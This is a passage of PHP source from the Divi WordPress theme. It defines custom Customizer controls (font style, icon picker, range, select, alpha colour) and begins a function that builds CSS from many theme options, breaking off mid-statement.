*/ if ( class_exists( 'WP_Customize_Control' ) ) { /** * Font style control for Customizer */ class ET_Divi_Font_Style_Option extends WP_Customize_Control { public $type = 'font_style'; public function render_content() { ?> <label> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; if ( ! empty( $this->description ) ) : ?> <span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span> <?php endif; ?> </label> <?php $current_values = explode('|', $this->value() ); if ( empty( $this->choices ) ) return; foreach ( $this->choices as $value => $label ) : $checked_class = in_array( $value, $current_values ) ? ' et_font_style_checked' : ''; ?> <span class="et_font_style et_font_value_<?php echo esc_attr( $value ); echo $checked_class; ?>"> <input type="checkbox" class="et_font_style_checkbox" value="<?php echo esc_attr( $value ); ?>" <?php checked( in_array( $value, $current_values ) ); ?> /> </span> <?php endforeach; ?> <input type="hidden" class="et_font_styles" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> /> <?php } } /** * Icon picker control for Customizer */ class ET_Divi_Icon_Picker_Option extends WP_Customize_Control { public $type = 'icon_picker'; public function render_content() { ?> <label> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; et_pb_font_icon_list(); ?> <input type="hidden" class="et_selected_icon" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> /> </label> <?php } } /** * Range-based sliding value picker for Customizer */ class ET_Divi_Range_Option extends WP_Customize_Control { public $type = 'range'; public function render_content() { ?> <label> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; if ( ! empty( $this->description ) ) : ?> <span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span> <?php endif; ?> <input type="<?php echo esc_attr( $this->type ); ?>" <?php $this->input_attrs(); ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> data-reset_value="<?php echo esc_attr( $this->setting->default ); ?>" /> <input type="number" <?php $this->input_attrs(); ?> class="et-pb-range-input" value="<?php echo esc_attr( $this->value() ); ?>" /> <span class="et_divi_reset_slider"></span> </label> <?php } } /** * Custom Select option which supports data attributes for the <option> tags */ class ET_Divi_Select_Option extends WP_Customize_Control { public $type = 'select'; public function render_content() { ?> <label> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; if ( ! empty( $this->description ) ) : ?> <span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span> <?php endif; ?> <select <?php $this->link(); ?>> <?php foreach ( $this->choices as $value => $attributes ) { $data_output = ''; if ( ! empty( $attributes['data'] ) ) { foreach( $attributes['data'] as $data_name => $data_value ) { if ( '' !== $data_value ) { $data_output .= sprintf( ' data-%1$s="%2$s"', esc_attr( $data_name ), esc_attr( $data_value ) ); } } } echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . $data_output . '>' . esc_html( $attributes['label'] ) . '</option>'; } ?> </select> </label> <?php } } // phpcs:disable -- Legacy code standards /** * Custom Select option which supports data attributes for the <option> tags */ class ET_Divi_Custom_Select_Option extends WP_Customize_Control { public $type = 'select'; public function render_content() { ?> <label> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; if ( ! empty( $this->description ) ) : ?> <span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span> <?php endif; ?> <div class="et-divi-select-wrapper"> <select <?php $this->link(); ?>> <?php foreach ( $this->choices as $value => $label ) { echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>'; } ?> </select> </div> </label> <?php } } // phpcs:enable /** * Color picker with alpha color support for Customizer */ class ET_Divi_Customize_Color_Alpha_Control extends WP_Customize_Control { public $type = 'et_coloralpha'; public $statuses; public function __construct( $manager, $id, $args = array() ) { $this->statuses = array( '' => esc_html__( 'Default', 'Divi' ) ); parent::__construct( $manager, $id, $args ); // Printed saved value should always be in lowercase add_filter( "customize_sanitize_js_{$id}", array( $this, 'sanitize_saved_value' ) ); } public function enqueue() { wp_enqueue_script( 'wp-color-picker-alpha' ); wp_enqueue_style( 'wp-color-picker' ); } public function to_json() { parent::to_json(); $this->json['statuses'] = $this->statuses; $this->json['defaultValue'] = $this->setting->default; } public function render_content() {} public function content_template() { ?> <# var defaultValue = ''; if ( data.defaultValue ) { if ( '#' !== data.defaultValue.substring( 0, 1 ) && 'rgba' !== data.defaultValue.substring( 0, 4 ) ) { defaultValue = '#' + data.defaultValue; } else { defaultValue = data.defaultValue; } defaultValue = ' data-default-color=' + defaultValue; // Quotes added automatically. } #> <label> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> <div class="customize-control-content"> <input class="color-picker-hex" data-alpha="true" type="text" maxlength="30" placeholder="<?php esc_attr_e( 'Hex Value', 'Divi' ); ?>" {{ defaultValue }} /> </div> </label> <?php } /** * Ensure saved value to be printed in lowercase. * Mismatched case causes broken 4.7 in Customizer. Color Alpha control only saves string. * @param string saved value * @return string formatted value */ public function sanitize_saved_value( $value ) { return strtolower( $value ); } } } function et_divi_add_customizer_css() { if ( wp_doing_ajax() || wp_doing_cron() || ( is_admin() && ! is_customize_preview() ) ) { return; } /** @see ET_Core_SupportCenter::toggle_safe_mode */ if ( et_core_is_safe_mode_active() ) { return; } $post_id = et_core_page_resource_get_the_ID(); $is_preview = is_preview() || isset( $_GET['et_pb_preview_nonce'] ) || is_customize_preview(); $is_singular = et_core_page_resource_is_singular(); $is_cpt = et_builder_should_wrap_styles(); $disabled_global = 'off' === et_get_option( 'et_pb_static_css_file', 'on' ); $disabled_post = $disabled_global || ( $is_singular && 'off' === get_post_meta( $post_id, '_et_pb_static_css_file', true ) ); $forced_inline = $is_preview || $disabled_global || $disabled_post || post_password_required(); $builder_in_footer = 'on' === et_get_option( 'et_pb_css_in_footer', 'off' ); $unified_styles = $is_singular && ! $forced_inline && ! $builder_in_footer && et_core_is_builder_used_on_current_request(); $resource_owner = $unified_styles ? 'core' : 'divi'; $resource_slug = $unified_styles ? 'unified' : 'customizer'; $resource_slug .= $is_cpt ? '-cpt' : ''; $css = 'et_builder_maybe_wrap_css_selector'; if ( $is_preview ) { // Don't let previews cause existing saved static css files to be modified. $resource_slug .= '-preview'; } if ( function_exists( 'et_fb_is_enabled' ) && et_fb_is_enabled() ) { $resource_slug .= '-vb'; } if ( ! $unified_styles ) { $post_id = 'global'; } $resource_slug = et_theme_builder_decorate_page_resource_slug( $post_id, $resource_slug ); $styles_manager = et_core_page_resource_get( $resource_owner, $resource_slug, $post_id ); $styles_manager->forced_inline = $forced_inline; if ( ! $styles_manager->forced_inline && $styles_manager->has_file() ) { // Static resource has already been created. No need to continue here. return; } $css_output = array(); // Detect legacy settings $detect_legacy_secondary_nav_color = et_get_option( 'secondary_nav_text_color', 'Light' ); $detect_legacy_primary_nav_color = et_get_option( 'primary_nav_text_color', 'Dark' ); if ( $detect_legacy_primary_nav_color == 'Light' ) { $legacy_primary_nav_color = '#ffffff'; } else { $legacy_primary_nav_color = 'rgba(0,0,0,0.6)'; } if ( $detect_legacy_secondary_nav_color == 'Light' ) { $legacy_secondary_nav_color = '#ffffff'; } else { $legacy_secondary_nav_color = 'rgba(0,0,0,0.7)'; } $color_scheme = et_get_option( 'color_schemes', 'none' ); $body_font_size = absint( et_get_option( 'body_font_size', '14' ) ); $body_font_height = floatval( et_get_option( 'body_font_height', '1.7' ) ); $body_header_size = absint( et_get_option( 'body_header_size', '30' ) ); $body_header_style = et_get_option( 'body_header_style', '', '', true ); $body_header_spacing = intval( et_get_option( 'body_header_spacing', '0' ) ); $body_header_height = floatval( et_get_option( 'body_header_height', '1' ) ); $body_font_color = et_get_option( 'font_color', '#666666' ); $body_header_color = et_get_option( 'header_color', '#666666' ); $heading_font_weight = absint( et_get_option( 'heading_font_weight', '500' ) ); $body_font_weight = absint( et_get_option( 'body_font_weight', '500' ) ); $accent_color = et_get_option( 'accent_color', '#2ea3f2' ); $link_color = et_get_option( 'link_color', $accent_color ); $content_width = absint( et_get_option( 'content_width', '1080' ) ); $large_content_width = intval ( $content_width * 1.25 ); $use_sidebar_width = et_get_option( 'use_sidebar_width', false ); $sidebar_width = intval( et_get_option( 'sidebar_width', 21 ) ); $section_padding = absint( et_get_option( 'section_padding', '4' ) ); $row_padding = absint( et_get_option( 'row_padding', '2' ) ); $tablet_header_font_size = absint( et_get_option( 'tablet_header_font_size', '30' ) ); $tablet_body_font_size = absint( et_get_option( 'tablet_body_font_size', '14' ) ); $tablet_section_height = absint( et_get_option( 'tablet_section_height', '50' ) ); $tablet_row_height = absint( et_get_option( 'tablet_row_height', '30' ) ); $phone_header_font_size = absint( et_get_option( 'phone_header_font_size', $tablet_header_font_size ) ); $phone_body_font_size = absint( et_get_option( 'phone_body_font_size', $tablet_body_font_size ) ); $phone_section_height = absint( et_get_option( 'phone_section_height', $tablet_section_height ) ); $phone_row_height = absint( et_get_option( 'phone_row_height', $tablet_row_height ) ); $header_style = et_get_option( 'header_style', 'left' ); $menu_height = absint( et_get_option( 'menu_height', '66' ) ); $logo_height = absint( et_get_option( 'logo_height', '54' ) ); $menu_margin_top = absint( et_get_option( 'menu_margin_top', '0' ) ); $menu_link = et_get_option( 'menu_link', $legacy_primary_nav_color ); $menu_link_active = et_get_option( 'menu_link_active', '#2ea3f2' ); $vertical_nav = et_get_option( 'vertical_nav', false ); $hide_primary_logo = et_get_option( 'hide_primary_logo', 'false' ); $hide_fixed_logo = et_get_option( 'hide_fixed_logo', 'false' ); $default_primary_nav_font_size = 14; $primary_nav_font_size = absint( et_get_option( 'primary_nav_font_size', $default_primary_nav_font_size ) ); $primary_nav_font_spacing = intval( et_get_option( 'primary_nav_font_spacing', '0' ) ); $primary_nav_bg = et_get_option( 'primary_nav_bg', '#ffffff' ); $primary_nav_font_style = et_get_option( 'primary_nav_font_style', '', '', true ); $primary_nav_dropdown_bg = et_get_option( 'primary_nav_dropdown_bg', $primary_nav_bg ); $primary_nav_dropdown_link_color = et_get_option( 'primary_nav_dropdown_link_color', $menu_link ); $primary_nav_dropdown_line_color = et_get_option( 'primary_nav_dropdown_line_color', $accent_color ); $mobile_menu_link = et_get_option( 'mobile_menu_link', $menu_link ); $mobile_primary_nav_bg = et_get_option( 'mobile_primary_nav_bg', $primary_nav_bg ); $secondary_nav_font_size = absint( et_get_option( 'secondary_nav_font_size', '12' ) ); $secondary_nav_font_spacing = intval( et_get_option( 'secondary_nav_font_spacing', '0' ) ); $secondary_nav_font_style = et_get_option( 'secondary_nav_font_style', '', '', true ); $secondary_nav_text_color_new = et_get_option( 'secondary_nav_text_color_new', $legacy_secondary_nav_color ); $secondary_nav_bg = et_get_option( 'secondary_nav_bg', et_get_option( 'accent_color', '#2ea3f2' ) ); $secondary_nav_dropdown_bg = et_get_option( 'secondary_nav_dropdown_bg', $secondary_nav_bg ); $secondary_nav_dropdown_link_color = et_get_option( 'secondary_nav_dropdown_link_color', $secondary_nav_text_color_new ); $fixed_primary_nav_font_size = absint( et_get_option( 'fixed_primary_nav_font_size', $primary_nav_font_size ) ); $fixed_primary_nav_bg = et_get_option( 'fixed_primary_nav_bg', $primary_nav_bg ); $fixed_secondary_nav_bg = et_get_option( 'fixed_secondary_nav_bg', $secondary_nav_bg ); $fixed_menu_height = absint( et_get_option( 'minimized_menu_height', '40' ) ); $fixed_menu_link = et_get_option( 'fixed_menu_link', $menu_link ); $fixed_menu_link_active = et_get_option( 'fixed_menu_link_active', $menu_link_active ); $fixed_secondary_menu_link = et_get_option( 'fixed_secondary_menu_link', $secondary_nav_text_color_new ); $footer_bg = et_get_option( 'footer_bg', '#222222' ); $footer_widget_link_color = et_get_option( 'footer_widget_link_color', '#ffffff' ); $footer_widget_text_color = et_get_option( 'footer_widget_text_color', '#ffffff' ); $footer_widget_header_color = et_get_option( 'footer_widget_header_color', $accent_color ); $footer_widget_bullet_color = et_get_option( 'footer_widget_bullet_color', $accent_color ); $widget_header_font_size = intval( et_get_option( 'widget_header_font_size', $body_header_size * .6 ) ); $widget_body_font_size = absint( et_get_option( 'widget_body_font_size', $body_font_size ) ); $widget_body_line_height = floatval( et_get_option( 'widget_body_line_height', '1.7' ) ); $button_text_size = absint( et_get_option( 'all_buttons_font_size', '20' ) ); $button_text_color = et_get_option( 'all_buttons_text_color', '' ); $button_bg_color = et_get_option( 'all_buttons_bg_color', 'rgba(0,0,0,0)' ); $button_border_width = absint( et_get_option( 'all_buttons_border_width', '2' ) ); $button_border_color = et_get_option( 'all_buttons_border_color', '#ffffff' ); $button_border_radius = absint( et_get_option( 'all_buttons_border_radius', '3' ) ); $button_text_style = et_get_option( 'all_buttons_font_style', '', '', true ); $button_icon = et_get_option( 'all_buttons_selected_icon', '5' ); $button_spacing = intval( et_get_option( 'all_buttons_spacing', '0' ) ); $button_icon_color = et_get_option( 'all_buttons_icon_color', '#ffffff' ); $button_text_color_hover = et_get_option( 'all_buttons_text_color_hover', '' ); $button_bg_color_hover = et_get_option( 'all_buttons_bg_color_hover', 'rgba(255,255,255,0.2)' ); $button_border_color_hover = et_get_option( 'all_buttons_border_color_hover', 'rgba(0,0,0,0)' ); $button_border_radius_hover = absint( et_get_option( 'all_buttons_border_radius_hover', '3' ) ); $button_spacing_hover = intval( et_get_option( 'all_buttons_spacing_hover', '0' ) ); $button_icon_size = 1.6 * intval( $button_text_size ); $slide_nav_show_top_bar = et_get_option( 'slide_nav_show_top_bar', true ); $slide_nav_bg = et_get_option( 'slide_nav_bg', $accent_color ); $slide_nav_links_color = et_get_option( 'slide_nav_links_color', '#ffffff' ); $slide_nav_links_color_active = et_get_option( 'slide_nav_links_color_active', '#ffffff' ); $slide_nav_top_color = et_get_option( 'slide_nav_top_color', 'rgba(255,255,255,0.6)' ); $slide_nav_search = et_get_option( 'slide_nav_search', 'rgba(255,255,255,0.6)' ); $slide_nav_search_bg = et_get_option( 'slide_nav_search_bg', 'rgba(0,0,0,0.2)' ); $slide_nav_width = intval( et_get_option( 'slide_nav_width', '320' ) ); $slide_nav_font_style = et_get_option( 'slide_nav_font_style', '', '', true ); $slide_nav_font_size = intval( et_get_option( 'slide_nav_font_size', '14' ) ); $slide_nav_top_font_size = intval( et_get_option( 'slide_nav_top_font_size', '14' ) ); $slide_nav_font_spacing = intval ( et_get_option( 'slide_nav_font_spacing', '0' ) ); $fullscreen_nav_font_size = intval( et_get_option( 'fullscreen_nav_font_size', '30' ) ); $fullscreen_nav_top_font_size = intval( et_get_option( 'fullscreen_nav_top_font_size', '18' ) ); // use different selector for the styles applied directly to body tag while in Visual Builder. Otherwise unwanted styles applied to the Builder interface. $body_selector = empty( $_GET['et_fb'] ) ? 'body' : 'body .et-fb-post-content'; $body_selector_sibling = empty( $_GET['et_fb'] ) ? '' : 'body .et-fb-root-ancestor-sibling, '; /* ==================================================== * --------->>> BEGIN THEME CUSTOMIZER CSS <<<--------- * ==================================================== */ ob_start(); ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( 'body', '.et_pb_bg_layout_light .et_pb_post p', false ); ?>, <?php echo $css( 'body', '.et_pb_bg_layout_dark .et_pb_post p', false ); ?> { font-size: <?php echo esc_html( $body_font_size ); ?>px; } <?php echo $css( '.et_pb_slide_content', false ); ?>, <?php echo $css( '.et_pb_best_value', false ); ?> { font-size: <?php echo esc_html( intval( $body_font_size * 1.14 ) ); ?>px; } <?php if ( '#666666' !== $body_font_color) { ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?> { color: <?php echo esc_html( $body_font_color ); ?>; } <?php } ?> <?php if ( '#666666' !== $body_header_color ) { ?> <?php echo $css( 'h1' ); ?>, <?php echo $css( 'h2' ); ?>, <?php echo $css( 'h3' ); ?>, <?php echo $css( 'h4' ); ?>, <?php echo $css( 'h5' ); ?>, <?php echo $css( 'h6' ); ?> { color: <?php echo esc_html( $body_header_color ); ?>; } <?php } ?> <?php if ( 1.7 !== $body_font_height ) { ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?> { line-height: <?php echo esc_html( $body_font_height ); ?>em; } <?php } ?> <?php if ( 500 !== $body_font_weight ) { ?> <?php // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( 'body', '.et_pb_bg_layout_light .et_pb_post p', false ); ?>, <?php echo $css( 'body', '.et_pb_bg_layout_dark .et_pb_post p', false ); ?> { font-weight: <?php echo esc_html( $body_font_weight ); ?>; } <?php echo $css( '.et_pb_slide_content', false ); ?>, <?php echo $css( '.et_pb_best_value', false ); ?> { font-weight: <?php echo esc_html( $body_font_weight ); ?>; } <?php // phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?> <?php } ?> <?php if ( $accent_color !== '#2ea3f2' ) { ?> <?php if ( et_is_woocommerce_plugin_active() ) { ?> .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button, .woocommerce-message, .woocommerce-error, .woocommerce-info { background: <?php echo esc_html( $accent_color ); ?> !important; } <?php } ?> #et_search_icon:hover, .mobile_menu_bar:before, .mobile_menu_bar:after, .et_toggle_slide_menu:after, .et-social-icon a:hover, <?php echo $css( '.et_pb_sum' ); ?>, <?php echo $css( '.et_pb_pricing li a', false ); ?>, <?php echo $css( '.et_pb_pricing_table_button', false ); ?>, <?php echo $css( '.et_overlay:before' ); ?>, <?php echo $css( '.entry-summary p.price ins' ); ?>, <?php if ( et_is_woocommerce_plugin_active() ) { ?> .woocommerce div.product span.price, .woocommerce-page div.product span.price, .woocommerce #content div.product span.price, .woocommerce-page #content div.product span.price, .woocommerce div.product p.price, .woocommerce-page div.product p.price, .woocommerce #content div.product p.price, .woocommerce-page #content div.product p.price, <?php } ?> <?php echo $css( '.et_pb_member_social_links a:hover', false ); ?>, <?php if ( et_is_woocommerce_plugin_active() ) { ?> .woocommerce .star-rating span:before, .woocommerce-page .star-rating span:before, <?php } ?> <?php echo $css( '.et_pb_widget li a:hover' ); ?>, <?php echo $css( '.et_pb_filterable_portfolio .et_pb_portfolio_filters li a.active', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio .et_pb_portofolio_pagination ul li a.active', false ); ?>, <?php echo $css( '.et_pb_gallery .et_pb_gallery_pagination ul li a.active', false ); ?>, .wp-pagenavi span.current, .wp-pagenavi a:hover, <?php echo $css( '.nav-single a' ); ?>, <?php echo $css( '.tagged_as a' ); ?>, <?php echo $css( '.posted_in a' ); ?> { color: <?php echo esc_html( $accent_color ); ?>; } <?php echo $css( '.et_pb_contact_submit', false ); ?>, <?php echo $css( '.et_password_protected_form .et_submit_button', false ); ?>, <?php echo $css( '.et_pb_bg_layout_light .et_pb_newsletter_button', false ); ?>, <?php echo $css( '.comment-reply-link', false ); ?>, <?php echo $css( '.form-submit .et_pb_button', false ); ?>, <?php echo $css( '.et_pb_bg_layout_light .et_pb_promo_button', false ); ?>, <?php echo $css( '.et_pb_bg_layout_light .et_pb_more_button', false ); ?>, <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button.alt.disabled' ); ?>, <?php echo $css( '.woocommerce', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button.alt' ); ?>, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, <?php echo $css( '.woocommerce #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce-page #content', 'input.button.alt' ); ?>, <?php echo $css( '.woocommerce', 'a.button' ); ?>, <?php echo $css( '.woocommerce-page', 'a.button' ); ?>, <?php echo $css( '.woocommerce', 'button.button' ); ?>, <?php echo $css( '.woocommerce-page', 'button.button' ); ?>, <?php echo $css( '.woocommerce', 'input.button' ); ?>, <?php echo $css( '.woocommerce-page', 'input.button' ); ?>, <?php } ?> <?php echo $css( '.et_pb_contact p input[type="checkbox"]:checked + label i:before', false ); ?>, <?php echo $css( '.et_pb_bg_layout_light.et_pb_module.et_pb_button', false ); ?> { color: <?php echo esc_html( $accent_color ); ?>; } <?php echo $css( '.footer-widget h4' ); ?> { color: <?php echo esc_html( $accent_color ); ?>; } <?php echo $css( '.et-search-form' ); ?>, <?php echo $css( '.nav li ul' ); ?>, <?php echo $css( '.et_mobile_menu' ); ?>, <?php echo $css( '.footer-widget li:before' ); ?>, <?php echo $css( '.et_pb_pricing li:before', false ); ?>, <?php echo $css( 'blockquote' ); ?> { border-color: <?php echo esc_html( $accent_color ); ?>; } <?php echo $css( '.et_pb_counter_amount', false ); ?>, <?php echo $css( '.et_pb_featured_table .et_pb_pricing_heading', false ); ?>, <?php echo $css( '.et_quote_content' ); ?>, <?php echo $css( '.et_link_content' ); ?>, <?php echo $css( '.et_audio_content' ); ?>, <?php echo $css( '.et_pb_post_slider.et_pb_bg_layout_dark', false ); ?>, <?php echo $css( '.et_slide_in_menu_container' ); ?>, <?php echo $css( '.et_pb_contact p input[type="radio"]:checked + label i:before', false ); ?> { background-color: <?php echo esc_html( $accent_color ); ?>; } <?php } ?> <?php if ( 1080 !== $content_width ) { ?> <?php echo $css( '.container' ); ?>, <?php echo $css( '.et_pb_row', false ); ?>, <?php echo $css( '.et_pb_slider .et_pb_container', false ); ?>, <?php echo $css( '.et_pb_fullwidth_section .et_pb_title_container', false ); ?>, <?php echo $css( '.et_pb_fullwidth_section .et_pb_title_featured_container', false ); ?>, <?php echo $css( '.et_pb_fullwidth_header:not(.et_pb_fullscreen) .et_pb_fullwidth_header_container', false ); ?> { max-width: <?php echo esc_html( $content_width ); ?>px; } .et_boxed_layout #page-container, .et_boxed_layout.et_non_fixed_nav.et_transparent_nav #page-container #top-header, .et_boxed_layout.et_non_fixed_nav.et_transparent_nav #page-container #main-header, .et_fixed_nav.et_boxed_layout #page-container #top-header, .et_fixed_nav.et_boxed_layout #page-container #main-header, .et_boxed_layout #page-container .container, <?php echo $css( '.et_boxed_layout', '#page-container .et_pb_row', false ); ?> { max-width: <?php echo esc_html( intval( et_get_option( 'content_width', '1080' ) ) + 160 ); ?>px; } <?php } ?> <?php if ( $link_color !== '#2ea3f2' ) { ?> <?php echo $css( 'a' ); ?> { color: <?php echo esc_html( $link_color ); ?>; } <?php } ?> <?php if ( $primary_nav_bg !== '#ffffff' ) { ?> #main-header, #main-header .nav li ul, .et-search-form, #main-header .et_mobile_menu { background-color: <?php echo esc_html( $primary_nav_bg ); ?>; } <?php } ?> <?php if ( $primary_nav_dropdown_bg !== $primary_nav_bg ) { ?> #main-header .nav li ul { background-color: <?php echo esc_html( $primary_nav_dropdown_bg ); ?>; } <?php } ?> <?php if ( $primary_nav_dropdown_line_color !== $accent_color ) { ?> <?php echo $css( '.nav li ul' ); ?> { border-color: <?php echo esc_html( $primary_nav_dropdown_line_color ); ?>; } <?php } ?> <?php if ( '#2ea3f2' === $secondary_nav_bg && '#2ea3f2' !== $accent_color ) { ?> #page-container #top-header { background-color: <?php echo esc_html( $accent_color ) . ' !important'; ?>; } #et-secondary-nav li ul { background-color: <?php echo esc_html( $accent_color ); ?>; } <?php } ?> <?php if ( '#2ea3f2' !== $secondary_nav_bg ) { ?> .et_secondary_nav_enabled #page-container #top-header { background-color: <?php echo esc_html( $secondary_nav_bg ) . ' !important'; ?>; } #et-secondary-nav li ul { background-color: <?php echo esc_html( $secondary_nav_bg ); ?>; } <?php } ?> <?php if ( $secondary_nav_dropdown_bg !== $secondary_nav_bg ) { ?> #et-secondary-nav li ul { background-color: <?php echo esc_html( $secondary_nav_dropdown_bg ); ?>; } <?php } ?> <?php if ( $secondary_nav_text_color_new !== '#ffffff' ) { ?> #top-header, #top-header a { color: <?php echo esc_html( $secondary_nav_text_color_new ); ?>; } <?php } ?> <?php if ( $secondary_nav_dropdown_link_color !== $secondary_nav_text_color_new ) { ?> #et-secondary-nav li ul a { color: <?php echo esc_html( $secondary_nav_dropdown_link_color ); ?>; } <?php } ?> <?php if ( $menu_link !== 'rgba(0,0,0,0.6)' ) { ?> .et_header_style_centered .mobile_nav .select_page, .et_header_style_split .mobile_nav .select_page, .et_nav_text_color_light #top-menu > li > a, .et_nav_text_color_dark #top-menu > li > a, #top-menu a, <?php echo $css( '.et_mobile_menu li a' ); ?>, <?php echo $css( '.et_nav_text_color_light .et_mobile_menu li a' ); ?>, <?php echo $css( '.et_nav_text_color_dark .et_mobile_menu li a' ); ?>, #et_search_icon:before, .et_search_form_container input, span.et_close_search_field:after, #et-top-navigation .et-cart-info { color: <?php echo esc_html( $menu_link ); ?>; } .et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $menu_link ); ?>; } .et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $menu_link ); ?>; } .et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $menu_link ); ?>; } <?php } ?> <?php if ( $primary_nav_dropdown_link_color !== $menu_link ) { ?> #main-header .nav li ul a { color: <?php echo esc_html( $primary_nav_dropdown_link_color ); ?>; } <?php } ?> <?php if ( 12 !== $secondary_nav_font_size || '' !== $secondary_nav_font_style || 0 !== $secondary_nav_font_spacing ) { ?> #top-header, #top-header a, #et-secondary-nav li li a, #top-header .et-social-icon a:before { <?php if ( 12 !== $secondary_nav_font_size ) { ?> font-size: <?php echo esc_html( $secondary_nav_font_size ); ?>px; <?php } ?> <?php if ( '' !== $secondary_nav_font_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $secondary_nav_font_style ) ); ?> <?php } ?> <?php if ( 0 !== $secondary_nav_font_spacing ) { ?> letter-spacing: <?php echo esc_html( $secondary_nav_font_spacing ); ?>px; <?php } ?> } <?php } ?> <?php if ( $primary_nav_font_size !== $default_primary_nav_font_size ) { ?> #top-menu li a { font-size: <?php echo esc_html( $primary_nav_font_size ); ?>px; } body.et_vertical_nav .container.et_search_form_container .et-search-form input { font-size: <?php echo esc_html( $primary_nav_font_size ); ?>px !important; } <?php } ?> <?php if ( 0 !== $primary_nav_font_spacing || '' !== $primary_nav_font_style ) { ?> #top-menu li a, .et_search_form_container input { <?php if ( '' !== $primary_nav_font_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?> <?php } ?> <?php if ( 0 !== $primary_nav_font_spacing ) { ?> letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px; <?php } ?> } .et_search_form_container input::-moz-placeholder { <?php if ( '' !== $primary_nav_font_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?> <?php } ?> <?php if ( 0 !== $primary_nav_font_spacing ) { ?> letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px; <?php } ?> } .et_search_form_container input::-webkit-input-placeholder { <?php if ( '' !== $primary_nav_font_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?> <?php } ?> <?php if ( 0 !== $primary_nav_font_spacing ) { ?> letter-spacing: <?php echo esc_html( $primary_nav_font_spacing ); ?>px; <?php } ?> } .et_search_form_container input:-ms-input-placeholder { <?php if ( '' !== $primary_nav_font_style ) { ?> <?php echo esc_html( et_pb_print_font_style( $primary_nav_font_style ) ); ?> <?php } ?> <?php if ( 0 !== $primary_nav_font_spacing ) { ?> letter-spacing: <?php echo esc_html( 